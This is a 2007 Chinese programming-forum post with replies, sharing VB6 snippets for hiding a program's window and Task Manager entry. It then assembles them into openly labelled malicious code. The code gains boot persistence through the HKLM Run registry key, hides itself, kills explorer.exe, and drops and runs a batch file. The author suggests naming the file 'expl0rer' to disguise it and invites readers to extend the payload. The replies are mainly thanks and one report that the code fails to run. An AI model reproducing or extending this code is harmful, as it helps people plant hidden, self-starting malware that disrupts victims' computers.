*/ --------------------------------------------------------------------------------------
*/ 出自： 编程中国 http://www.bc-cn.net
*/ 作者： AV终结者 QQ：535843194
*/ 时间： 2007-11-4 编程论坛首发
*/ 声明： 尊重作者劳动，转载请保留本段文字
*/ --------------------------------------------------------------------------------------


第1种-关闭后到像迅雷一样隐藏
Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer)
Cancel = True
Me.Hide
End Sub
_____________________________
第2种-直接隐藏
Form1.Visible = False
_____________________________

第3种-在任务管理器应用程序中隐藏
App.TaskVisible = False

_____________________________

于是就可以编写一个简单的恶意代码

Private Sub Form_Load

Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '导入注册表,实现开机自动运行

Form1.Visible = False

App.Taskvisible = False

Shell "taskkill /f /im explorer.exe ", vbHide '结束explorer.exe进程

Open "c:\windows\$$$.bat" for Append As #1
Print #1 , "@echo off"
Print #1 , "echo 恭喜你中毒"
Print #1 , "echo. & pause"
close #1
x = shell("c:\windows\$$$.bat")

....... '这里不讨论这个问题,自由发挥,最后把文件名改为expl0rer等
End Sub

同志们，很不正噢。。。加油！！！

谢谢共享代码，大力支持你，继续加油吧，网友

爽 喜欢

顶顶顶!!!正找这呢!!!

想问你的问题啊.现在能回答吗?

编程:连续输入N个值,直到输入非数值数据为止.请求出其中的最大值最小值.

我是真的不会了.谢谢帮忙啊.

要代码就行了.

楼主，你那个好像出了点问题啊，运行不了
CreateObject没有定义啊

[此贴子已经被作者于2007-11-8 17:20:11编辑过]

先收下了!

谢谢分享

有心人 ` ` 好样的```就是要大家共享麻